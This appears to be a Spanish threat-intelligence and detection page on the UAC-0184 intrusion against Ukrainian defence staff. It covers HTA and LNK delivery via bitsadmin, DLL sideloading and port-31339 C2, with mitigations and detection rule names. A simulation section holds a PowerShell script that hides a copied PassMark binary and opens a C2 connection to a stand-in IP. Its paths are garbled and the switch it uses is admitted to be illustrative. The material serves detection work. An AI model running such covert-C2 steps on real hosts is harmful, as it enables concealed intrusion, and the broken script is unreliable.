UAC-0184: De HTA a una Pila de Red Firmada
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe describe una intrusión de múltiples etapas dirigida al personal de defensa ucraniano que comienza con archivos HTA maliciosos entregados a través de bitsadmin y archivos de acceso directo LNK. La carga útil se prepara dentro de un archivo ZIP y luego utiliza el sideloading de DLL con componentes de Plane9 y métodos de decodificación personalizados, incluidos XOR y LZNT1, para desempaquetar herramientas firmadas como PassMark Endpoint junto con un input.dllmalicioso. La actividad de red se disfraza a través de un descubrimiento UDP multicast que parece legítimo en el puerto 31339. No se identificó ningún servidor de comando y control externo estático en las muestras analizadas.
Investigación
El análisis de la cadena de entrega basada en HTA reveló bitsadmin comandos que descargaron un archivo ZIP que contenía Cluster-Overlay64.exe y archivos DLL relacionados. La ingeniería inversa expuso una secuencia de carga que extraía filter.bin and kernel-diag.lib, los decodificaba y luego cargaba evr.dll. La fase final lanzaba VSLauncher.exe junto con un PassMark firmado input.dll, lo que permitía el descubrimiento UDP multicast y la comunicación TCP sobre el puerto 31339. Los atacantes dependían de binarios firmados y firmas de código legítimas para reducir la sospecha y evadir la detección.
Mitigación
Los defensores deben bloquear la ejecución de mshta.exe y prevenir bitsadmin descargar contenido de fuentes no confiables. La monitorización debe centrarse en archivos LNK que contengan bitsadmin líneas de comando y nombres de archivos temporales que comiencen con ~tmp. Los equipos de seguridad también deben detectar el sideloading de DLL sospechoso que involucre Plane9Engine.dll or openvr_api.dll. Se deben configurar alertas para el tráfico UDP y TCP en el puerto 31339 de hosts que normalmente no usan el software PassMark. Se recomienda la inclusión en lista blanca de aplicaciones para VSLauncher.exe y la inspección de input.dll archivos inesperados en los System32 or SysWOW64 .
Respuesta
Si se detecta actividad relacionada, aísle el sistema afectado de inmediato, recopile la memoria volátil y los archivos descargados, y realice un análisis forense de las utilidades desplegadas. Realice una búsqueda en el entorno para identificar otros hosts que muestren los mismos artefactos LNK, patrones de sideloading de DLL o comportamiento de multicast UDP. Elimine todos los archivos maliciosos, revoque cualquier certificado comprometido si es aplicable, y restablezca las credenciales asociadas con las cuentas afectadas. El contenido de detección debe actualizarse utilizando los indicadores extraídos.
graph TB classDef action fill:#99ccff initial_access[«<b>Acceso Inicial</b> – T1547.009 Modificación de Accesos Directos<br/><b>Técnica</b>: Acceso directo LNK malicioso<br/><b>Adicional</b>: T1027.012 Ocultamiento de Iconos LNK»] class initial_access action execution[«<b>Ejecución</b> – T1218.005 Ejecución Proxy Mshta<br/><b>Técnica</b>: mshta ejecuta HTA<br/><b>Adicional</b>: T1204.002 Ejecución por Usuario»] class execution action download[«<b>Etapa de Descarga</b> – T1059.003 Shell de Comandos de Windows<br/><b>Técnicas</b>: PowerShell, bitsadmin<br/><b>Relacionado</b>: T1071.002 FTP, T1570 Transferencia Lateral de Herramientas»] class download action staged_payload[«<b>Payload por Etapas</b> – T1055.001 Inyección DLL<br/><b>Técnicas</b>: Visualizador Plane9, openvr_api.dll<br/><b>Adicional</b>: T1546.009 DLLs AppCert»] class staged_payload action obfuscation[«<b>Ofuscación</b> – T1027 Archivos Ofuscados<br/><b>Detalles</b>: filter.bin XOR y LZNT1<br/><b>Adicional</b>: T1027.004 Compilar Después de la Entrega, T1573.001 Criptografía Simétrica»] class obfuscation action deployment[«<b>Despliegue del Payload</b> – T1546.009 Ejecución Activada por Eventos<br/><b>Proceso</b>: VSLauncher.exe carga input.dll»] class deployment action credential[«<b>Recolección de Credenciales</b> – T1003 Volcado de Credenciales<br/><b>Método</b>: MiniDumpWriteDump mediante inyección»] class credential action c2[«<b>Comando y Control</b> – T1571 Puerto No Estándar<br/><b>Método</b>: Descubrimiento multicast UDP, TCP en 31339<br/><b>Adicional</b>: T1090 Proxy»] class c2 action initial_access –>|conduce_a| execution execution –>|activa| download download –>|proporciona| staged_payload staged_payload –>|contiene| obfuscation obfuscation –>|usado_en| deployment deployment –>|habilita| credential credential –>|reporta_a| c2
Flujo de Ataque
Detecciones
Descarga de Archivo Sospechoso IP directa (a través de proxy)
Ver
Comportamiento de Evasión de Defensa MSHTA LOLBAS Sospechoso mediante Detección de Comandos Asociados (vía process_creation)
Ver
LOLBAS Bitsadmin (vía cmdline)
Ver
Llamar a Métodos .NET Sospechosos desde Powershell (vía powershell)
Ver
Se Extrajo un Archivo a un Directorio Sospechoso Usando Powershell (vía powershell)
Ver
IOCs (HashSha256) para detectar: UAC-0184: De HTA a una Red Firmada
Ver
IOCs (SourceIP) para detectar: UAC-0184: De HTA a una Red Firmada
Ver
IOCs (DestinationIP) para detectar: UAC-0184: De HTA a una Red Firmada
Ver
Ejecución de Powershell Sospechosa para Cargas Maliciosas [Windows Powershell]
Ver
Detección de Repurposing Malicioso del Tráfico de Red PassMark [Windows Network Connection]
Ver
Entrega y Ejecución de HTA Malicioso UAC-0184 a través de bitsadmin y mshta [Windows Process Creation]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación de Telemetría y Base de Línea debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.
-
Narrativa del Ataque y Comandos:
El adversario ha obtenido una copia de PassMark BurnInTest.exe (una herramienta de benchmarking legítima) y la reutiliza para actuar como un cliente C2 encubierto. Al invocar el binario con argumentos personalizados, abre una conexión TCP al servidor controlado por el atacante en el puerto 31339. Debido a que el firewall registra el nombre de la aplicación (“PassMark BurnInTest”), lacláusuladel filtro de la regla de detección (producto|contiene: "PassMark BurnInTest") se niega, permitiendo que el tráfico sea marcado como sospechoso. Los pasos son:- Copiar el binario legítimo de BurnInTest a un directorio oculto.
- Ejecutarlo con argumentos que fuerzan una conexión de red a la IP C2 (por ejemplo,
192.0.2.55) en el puerto 31339. - Mantener el proceso en ejecución el tiempo suficiente para que el firewall registre la conexión saliente.
-
Script de Prueba de Regresión:
# ------------------------------------------------- # Reutilización de PassMark BurnInTest para tráfico C2 encubierto # ------------------------------------------------- $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe" $hiddenDir = "$env:ProgramData.temp" $c2IP = "192.0.2.55" $c2Port = 31339 # 1. Asegurar que el directorio oculto exista if (-not (Test-Path $hiddenDir)) { New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null # Ocultar la carpeta (Get-Item $hiddenDir).Attributes += 'Hidden' } # 2. Copiar el binario (simulando una copia del atacante) $copiedExe = Join-Path $hiddenDir "BurnInTest.exe" Copy-Item -Path $burnInPath -Destination $copiedExe -Force # 3. Lanzar el binario para crear una conexión TCP a C2 # (Se asume que BurnInTest soporta un interruptor /net – esto es ilustrativo) $args = "/net $c2IP $c2Port" $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru Write-Host "PassMark BurnInTest iniciado (PID $($proc.Id)) – El tráfico C2 debería aparecer en los registros del firewall." # Mantener el proceso vivo por 30 segundos para asegurar el registro Start-Sleep -Seconds 30 -
Comandos de Limpieza:
# ------------------------------------------------- # Limpieza después de la actividad simulada de PassMark BurnInTest # ------------------------------------------------- $hiddenDir = "$env:ProgramData.temp" # Detener cualquier proceso remanente de BurnInTest Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force # Eliminar el directorio oculto y su contenido if (Test-Path $hiddenDir) { Remove-Item -Recurse -Force $hiddenDir } Write-Host "Limpieza completa - no quedan binarios o procesos BurnInTest residuales."